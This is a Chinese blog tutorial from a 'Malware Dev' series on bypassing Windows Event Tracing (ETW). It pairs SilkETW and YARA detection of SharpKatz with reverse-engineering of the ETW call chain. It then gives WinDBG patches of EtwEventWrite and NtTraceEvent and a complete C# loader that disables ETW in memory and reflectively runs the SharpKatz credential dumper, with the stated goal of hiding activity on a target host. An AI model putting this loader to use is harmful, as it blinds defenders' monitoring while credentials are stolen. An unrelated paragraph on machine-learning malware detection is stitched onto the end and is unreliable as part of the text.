Malware Dev 04 - 隐匿之 ETW(Event Tracing for Windows)Bypass

写在最前

如果你是信息安全爱好者,如果你想考一些证书来提升自己的能力,那么欢迎大家来我的 Discord 频道 Northern Bay。邀请链接在这里:

https://discord.gg/9XvvuFq9Wb

我拥有 OSCP,OSEP,OSWE,OSED,OSCE3,CRTO,CRTP,CRTE,PNPT,eCPPTv2,eCPTXv2,KLCP,eJPT 证书。

所以,我会提供任意证书备考过程中尽可能多的帮助,并分享学习和实践过程中的资源和心得,大家一起进步,一起 NB~


背景

ETW(Event Tracing for Windows)是 Windows 用来跟踪和记录用户模式和内核模式产生的事件的一种机制。

图片来自https://medium.com/threat-hunters-forge/threat-hunting-with-etw-events-and-helk-part-1-installing-silketw-6eb74815e4a0

ETW 底层使用微软提供的 Event Tracing API。这组 API 大致上分为三个组件:

  • Controllers:控制整个 Event Tracing Session 的启动与停止
  • Providers:负责分发事件
  • Consumers:负责消费事件

Consumers 订阅 Providers 的服务,然后由 Controllers 统一分发事件。

ETW 有几大有点:

  • 普遍,目前所有的 Windows 10+ 系统都自带 ETW,无需安装;
  • 标准,ETW 使用微软的标准框架,利于开发;
  • 高效,大型的架构都使用 ETW 作为日志方案,如 Docker,MSSQL Server 集群等;

同 Sysmon 一样,ETW 提供了另一层日志,帮助管理员更加有效监测攻击者的行为。

ETW 可以兼容 YARA 规则,让管理员能灵活配置关键字,在事件产生的时候,ETW 会根据 YARA 规则的关键字进行匹配,上报异常。

这篇文章,我们看一下如何绕过 ETW,隐藏在目标主机上的行动轨迹。

开始之前,我们首先要了解一下 ETW 的特性,以便更好地实施绕过。我们会使用 SilkETW 作为事件的消费者,来演示 ETW 的使用。

ETW(Event Tracing for Windows)的使用

SilkETW 是对微软 ETW (Microsoft.Diagnostics.Tracing)的封装,并且对 YARA 规则做了支持,方便灵活,简单易用。

首先下载 SilkETW 最新版本 ,或者克隆仓库自行编译。

解压 zip 文件,可以看到三个文件夹,Dependencies,SilkETW,以及 SilkService。

v8\SilkETW 文件夹中可以找到 SilkETW 的可执行文件。

在这里插入图片描述

看一下帮助文档。

在这里插入图片描述

我们会用到的几个参数依次是:

  • -t:type,记录用户模式事件(User),还是内核模式事件(Kernel),这里使用 User;
  • -pn:providername,使用 Microsoft-Windows-DotNETRuntime 即可;
  • -uk:keywords mask,使用 0x2038 即可
  • -ot:output type,输出格式,可以是 URL,file,eventlog,这里使用 file
  • -p:log file path,输出的日志文件路径
  • -f:filter,过滤规则,可以是 None,EventName,ProcessID,ProcessName,OpCode,这里使用 EventName;
  • -fv:filtervalue,过滤值,对应过滤规则,这里过滤规则是 EventName,要抓取 .Net Assembly 加载的事件,这里用 Loader/AssemblyLoad;
  • -y:yara,yara 规则的路径;
  • -yo:yaraoptions,可以记录全部事件(All),或者是匹配事件(Matches),这里使用 Matches;

我们首先使用日志的形式来收集信息,然后将日志的信息转化成 YARA 规则,继而使用 YARA 来实时监测异常行为。

我们使用域渗透很常见的工具,SharpKatz,来看一下 .NET Assembly 应用在加载和执行阶段,会有哪些事件产生。然后将这些事件转化成 YARA 规则,做实时监测。

收集事件日志

我们启动 SilkETW 来捕获一下 SharpKatz 加载和执行时产生的事件。

SilkETW.exe -t user -pn Microsoft-Windows-DotNETRuntime -uk 0x2038 -ot file -p C:\Users\opr\Desktop\etw.json

在这里插入图片描述

打开 etw.json 文件,可以看到记录下来的日志,包含了事件名称(EventName),以及应用名称(FullyQualifiedAssemblyName)等。

我们收集一些带有 SharpKatz 字符串的日志记录。

"FullyQualifiedAssemblyName":"SharpKatz, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null"

"ManagedInteropMethodNamespace":"SharpKatz.Win32.SysCall+Delegates+RtlGetNtVersionNumbers"

"MethodNamespace":"SharpKatz.Utility"

"ManagedInteropMethodNamespace":"SharpKatz.Win32.SysCall+Delegates+RtlGetNtVersionNumbers"

将这些特定的字符串作为标记转化成 YARA 做实时监控。

SilkETW 做 YARA规则匹配

YARA 规则的编写细节请参照 官方文档

我们将上述收集到的字符串,转化成 YARA 规则。

rule Sharpkatz_FQDN
{
    strings:
        $fqdn = "SharpKatz, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null" ascii nocase wide
    condition:
        $fqdn
}

rule Sharpkatz_Syscall
{
    strings:
        $sw = "SharpKatz.Win32.SysCall+Delegates+RtlGetNtVersionNumbers" ascii nocase wide
    condition:
        $sw
}

rule Sharpkatz_Utility
{
    strings:
        $su = "SharpKatz.Utility" ascii nocase wide
    condition:
        $su
}

以上规则会匹配事件中的特定字符串,即 $fqdnsw$su。分别指定三个不同的规则有利于区分不同的事件。我们将以上规则保存成 sharpkatz.yar,放在一个单独的文件夹下,这里叫 YARA

我们重启 SilkETW,使用 -y-yo 参数来指定 YARA文件夹的路径和匹配规则。

SilkETW.exe -t user -pn Microsoft-Windows-DotNETRuntime -uk 0x2038 -ot file -p C:\Users\opr\Desktop\etw.json -y C:\Users\opr\Desktop\YARA -yo Matches

在这里插入图片描述

可以看到,只要 Sharpkatz 运行,我们就能实时看到 SilkETW 的告警。

这就是 SilkETW 的简单使用场景。更多高级的使用方式,大家可以参照 Threat Hunting with ETW events and HELK — Part 2: Shipping ETW events to HELK ⚒
这个系列。

ETW Enumeration

列举出目标机器上有那些 ETW Session 正在运行,可以使用 Windows 自带的 logman 命令

以 SilkETW 为例。我们可以使用如下命令来枚举目标上的 ETW Session 的状况:

logman query -ets

在这里插入图片描述

可以看到有很多 SilkETW 正在运行。

我们可以请求单个 Tracing Session 的事件 Provider 是谁。

logman query "SilkETWUserCollector_fe48121c-6484-4f99-893f-6ed589b8f98e" -ets

在这里插入图片描述

更多关于 logman 的使用,大家可以参考 Threat Hunting with ETW events and HELK — Part 1: Installing SilkETW 🏄‍♀🏄 一文。

ETW Bypass

ETW 在某种意义上很像 AMSI,我们需要分析一下整个 ETW 方法的调用链。继而找到突破口,实施绕过。

接下来,我们就两种绕过方式做一下解析。

鉴于现在绝大多数的工具都是 .NET Assembly。如我们上文在日志文件收集阶段收集到信息来看,我发现有一个事件名称 AssemblyLoad_V1

在这里插入图片描述

接下来,首先要看一下 ETW 为什么会上报这些事件,用什么方式检测到了这些标记。

分析 ETW 内部方法调用链

首先我们要分析 clr.dll。

为什么要分析 clr.dll?

就像这个回答所说

在这里插入图片描述

CLR(Common Language Runtime),是 .NET 的基石。

我们可以分别在 C:\Windows\Microsoft.NET\Framword\v4.0.30319C:\Windows\Microsoft.NET\Framwordx64\v4.0.30319 下找到相应的 clr.dll。

在这里插入图片描述

在这里插入图片描述

所有 .NET 应用,都会由 clr.dll 来加载。所以我们的目标是,逆向一下 clr.dll,看一下他跟 ETW 有什么关系。

开始之前

在我们开始逆向之前,先下载通过 WinDBG 下载 Windows Debug Symbol,否则无法解析 clr.dll 的 symbol。

打开 WinDBG,加载 SharpKatz 或者任意 .NET Assembly 文件(这样才能下载到 clr.dll 的 PDB)。

在这里插入图片描述

在这里插入图片描述

输入 g 让 SharpKatz 运行。

在这里插入图片描述

输入 lm 可以看到 clr.dll 加载了。

在这里插入图片描述

但是最后的 deferred 说明没有 pdb 文件,无法解析 symbols。

接着到 File -> Symbol File Path。

在这里插入图片描述

添加如下内容。

symsrv*symsrv.dll*C:\symbols*http://msdl.microsoft.com/download/symbols

在这里插入图片描述

点击 OK。

输入如下命令重新加载模块的 pdb。

.reload /f

在这里插入图片描述

WinDBG 会开始下载当前加载模块的 pdb 文件。我们需要等待。BUSY 字样消失之后,所有模块的 pdb 文件下载完成。

加载 clr.dll 到 IDA。

然后加载 PDB 文件。

在这里插入图片描述

在这里插入图片描述

clr.dll 的 PDB 文件在 C:\symbols\clr.pdb\34BF31A161B046CC8575415C09A62AE32 文件夹(时间不同可能文件夹有所不同,并可能有多个,选择时间最近的一个即可)。

加载完毕,尝试在 Imports,Exports 表搜索了很多的内容,字符串,方法名称,都没有结果。最后在左侧的方法列表中,搜索 ETW:: ,看到了目标 ModuleLoad 方法。

在这里插入图片描述

往下跟进。看到了 *ETW::LoaderLog::SendAssemblyEvent(Assembly ,ulong) 方法。

在这里插入图片描述

双击跟进。

在这里插入图片描述

可以看到在上文中我们收集到的事件名称 AssemblyLoad_V1

在这里插入图片描述

这是一个 data section 的变量,值是 9Ah,不过这个不重要,主要看逻辑。

在这里插入图片描述

回到 *ETW::LoaderLog::SendAssemblyEvent(Assembly ,ulong) 方法,继续往下看。在事件类型判断结束之后,调用了 CoTemplate_xxxqzh 方法。

在这里插入图片描述

双击跟进。看到这个方法调用了 __imp_EventWrite 方法。

在这里插入图片描述

在这里插入图片描述

这个方法是 extern,那么就应该在 Imports 表里面。不错,这个方法是从 advapi32.dll 引用的。

在这里插入图片描述

加载 advapi32.dll 反编译。在 Exports 表里找到了 EventWrite 方法。

在这里插入图片描述

双击,可以看到这个方法调用的是 ntdll.EtwEventWrite 方法。

在这里插入图片描述

最后反编译一下 ntdll.dll。在 Exports 表里可以找到 EtwEventWrite 方法。

在这里插入图片描述

在这里插入图片描述

最后还将调用 EtwpEventWriteFull 方法。

在这里插入图片描述

ETW Bypass - Patch EtwEventWrite Function

通过上文的分析,第一种绕过的选择是在运行时 patch ntdll 的 EtwEventWrite 方法。

这里静态分析有点不行了,因为很多地方调用了这个方法。我们加载 Sharpkatz 到 WinDBG,在 ntdll EtwEventWrite 上打断点。看一下这个方法的 opcode。

在这里插入图片描述

打断点。

bp EtwEventWrite

在这里插入图片描述

记得开启 SilkETW,否则不会触发断点。

SilkETW.exe -t user -pn Microsoft-Windows-DotNETRuntime -uk 0x2038 -ot file -p C:\Users\opr\Desktop\etw.json -y C:\Users\opr\Desktop\YARA -yo Matches

输入 g 让 Sharpkatz 运行。触发断点。

在这里插入图片描述

u @rip L10

在这里插入图片描述

可以看到方法最后是 ret,opcode c3

在这里插入图片描述

所以选择将方法的第一条指令 patch 成 c3

验证环节,我们开启 SilkETW。

SilkETW.exe -t user -pn Microsoft-Windows-DotNETRuntime -uk 0x2038 -ot file -p C:\Users\opr\Desktop\etw.json -y C:\Users\opr\Desktop\YARA -yo Matches

使用 WinDBG 加载 Sharpkatz。

没有 patch 之前的 EtwEventWrite 方法。我们的目标就是 用 c3 patch 第一行。

在这里插入图片描述

首先验证一下在没有 patch 的情况下,SilkETW 会告警。

在这里插入图片描述

重启 SilkETW,重新加载 SharpKatz,在 EtwEventWrite 方法出写入 c3

eb 00007ffd`80d7f1a0 c3

Patch 之后的方法。

在这里插入图片描述

再次运行。

在这里插入图片描述

SilkETW 没有任何告警,绕过成功。第一种绕过方式解析完毕。

Patch EtwEventWrite 方法的问题

以上第一个绕过方法的缺点在于,EDR 可能会 hook 用户态方法,碰他们,就等于碰 EDR,会触发另一层的告警。

因此,第二种方式,就是再往下面挖,来 patch 更加底层的 Nt 方法。

ETW Bypass - Patch NtTraceEvent Function

回到对 ntdll EtwEventWrite 方法的反编译,继续往下看,可以看到这个方法调用了 EtwpEventWriteFull

在这里插入图片描述

跟进这个方法,可以看到他调用了 NtTraceEvent 方法。

在这里插入图片描述

Nt 开头的方法,是 Windows native API。调用他们的方式是通过 syscall 的形式。而 syscall,是最隐蔽最可能有效绕过如 EDR 等防护机制监测的方法调用形式。

在这里插入图片描述

所以,第二种绕过 ETW 的方式,就是 patch NtTraceEvent 方法。

在这里插入图片描述

思路一致,还是 patch NtTraceEvent 第一行,直接 ret。

验证方式一样。下图是 patch 之后的 NtTraceEvent。

在这里插入图片描述

运行。SilkETW 没有告警。绕过成功。

在这里插入图片描述

虽然 WinDBG 有很多报错,但是不影响 SharpKatz 的执行。我们通过 patch NtTraceEvent,绕过 ETW 的监测,同时也拿到了执行结果。

代码整合

ETW 的绕过,要结合具体的需求。如果是本文列举的使用 .NET Assembly 的情况,如 SharpKatz,Rubeus,那么就应该选用 C# 作为开发语言,在绕过 ETW 之后,加载 .NET Assembly 直接执行。我们直接以代码为例,patch NtTraceEvent 方法,来执行 Sharpkatz。

using System;
using System.IO;
using System.Reflection;
using System.Runtime.InteropServices;

namespace test
{
    class Win32
    {
        [DllImport("kernel32")]
        public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

        [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
        public static extern IntPtr GetModuleHandle([MarshalAs(UnmanagedType.LPWStr)] string lpModuleName);

        [DllImport("kernel32")]
        public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
    }

    class Program
    {
        static void Main(string[] args)
        {
            Console.WriteLine("[*]Patching ETW...");
            var patch = new byte[] { 0xc3 };

            try
            {
                uint oldProtect;
                var hModule = Win32.GetModuleHandle("ntdll.dll");
                Console.WriteLine("ndtll address: 0x{0:X}", hModule.ToInt64());

                var hFunc = Win32.GetProcAddress(hModule, "NtTraceEvent");
                Console.WriteLine("NtTraceEvent address: 0x{0:X}", hFunc.ToInt64());

                /* memory protection must be 0x40 */
                Win32.VirtualProtect(hFunc, (UIntPtr)patch.Length, 0x40, out oldProtect);

                Marshal.Copy(patch, 0, hFunc, patch.Length);
                Win32.VirtualProtect(hFunc, (UIntPtr)patch.Length, oldProtect, out _);
            }
            catch
            {
                Console.WriteLine("[-]Error patching ETW...");
            }

            Console.WriteLine("[+]ETW patching success, invoking .Net Assembly...");

            var bytes = File.ReadAllBytes(@"C:\Users\opr\Desktop\Sharpkatz.exe");
            var assem = Assembly.Load(bytes);
            assem.EntryPoint.Invoke(null, new object[] { args });
        }
    }
}

成功绕过。

在这里插入图片描述

总结

这篇文章通过对 clr.dll,advapi32.dll,以及 ntdll.dll 的简单逆向,解析了 ETW(Event Tracing for Windows)的整体调用链。之后,我们介绍了两种 ETW 的绕过方式。一种是 patch EtwEventWrite 方法,另一种是 patch NtTraceEvent 方法。同时,配合 SilkETW,我们对两种绕过方式进行了成功验证。

参考链接

  • https://learn.microsoft.com/en-us/windows-hardware/drivers/devtest/event-tracing-for-windows–etw-
  • https://docs.trendmicro.com/all/ent/ddi/v5.5/en-us/ddi_5.5_olh/YARA-Rules.html#:~:text=YARA%20rules%20are%20malware%20detection,to%20the%20internal%20Virtual%20Analyzer.
  • https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/etw-event-tracing-for-windows-101#consuming-events-via-code
  • https://medium.com/threat-hunters-forge/threat-hunting-with-etw-events-and-helk-part-1-installing-silketw-6eb74815e4a0
  • https://learn.microsoft.com/en-us/windows/win32/etw/about-event-tracing#controllers
  • https://learn.microsoft.com/en-us/windows/win32/etw/about-event-tracing#providers
  • https://learn.microsoft.com/en-us/windows/win32/etw/about-event-tracing#consumers
  • https://yara.readthedocs.io/en/stable/writingrules.html
  • https://whiteknightlabs.com/2021/12/11/bypassing-etw-for-fun-and-profit/
  • https://www.binarly.io/posts/Design_issues_of_modern_EDRs_bypassing_ETW-based_solutions/index.html
  • https://www.mdsec.co.uk/2020/03/hiding-your-net-etw/
  • https://modexp.wordpress.com/2020/04/08/red-teams-etw/
  • http://redplait.blogspot.com/2012/03/etweventregister-on-w8-consumer-preview.html
  • https://gist.github.com/xpn/fabc89c6dc52e038592f3fb9d1374673
  • https://github.com/outflanknl/TamperETW
  • https://github.com/odzhan/injection/tree/master/etw
  • https://learn.microsoft.com/en-us/windows/win32/api/evntprov/nf-evntprov-eventregister
  • https://www.geoffchappell.com/studies/windows/win32/ntdll/api/etw/index.htm
  • https://learn.microsoft.com/en-us/windows/win32/etw/retrieving-event-data-using-tdh
  • https://learn.microsoft.com/en-us/windows/win32/api/evntprov/nc-evntprov-penablecallback
  • https://blog.palantir.com/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63
  • https://stackoverflow.com/questions/19698819/what-is-clr-dll-on-net-framework-and-what-does-it-do
  • https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/debugging-managed-code
  • https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/logman
  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
随着网络威胁日益增长和恶意软件的潜在危险日益加剧,对于恶意软件检测的需求也越来越高。传统恶意软件检测方法存在很多局限性,如签名不透明、固定规则无法识别新型恶意代码、容易受到欺骗等问题,机器学习成为了解决恶意软件检测难题的有效手段。 机器学习模型可以根据大量样本数据,发现数据的内在规律来进行学习,并模拟数据间的关系。通过学习已知的恶意样本和正常样本,机器学习算法可以自动提取特征并判断未知样本是否是恶意软件。在恶意软件检测中,机器学习可以解决传统的规则、特征、模式等方式过时、不能及时更新的问题。 恶意软件检测使用机器学习方式,需要准备足够的数据训练集,并基于数据集训练机器学习模型。在训练过程中,可以选择不同的机器学习算法和特征工程方式,进行调优优化,使机器学习模型达到更加准确和可靠的检测效果。 常见的恶意软件检测模型包括支持向量机(SVM)、朴素贝叶斯分类(NBC)、神经网络(NN)和深度学习模型等。这些模型在特征提取和分类预测等方面有着不同的优缺点,因此在具体应用场景中需要根据实际情况进行选择和组合。 总体来看,恶意软件检测使用机器学习模型,可以实现自动化恶意软件检测,准确率高、速度快、易于扩展。但是,在实际应用中也有很多需要注意的问题,如数据质量问题、机器学习模型解释性问题、对抗样本问题等。因此,在恶意软件检测中使用机器学习模型仍需持续深入研究和探索,进一步提高检测的准确性和可靠性。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值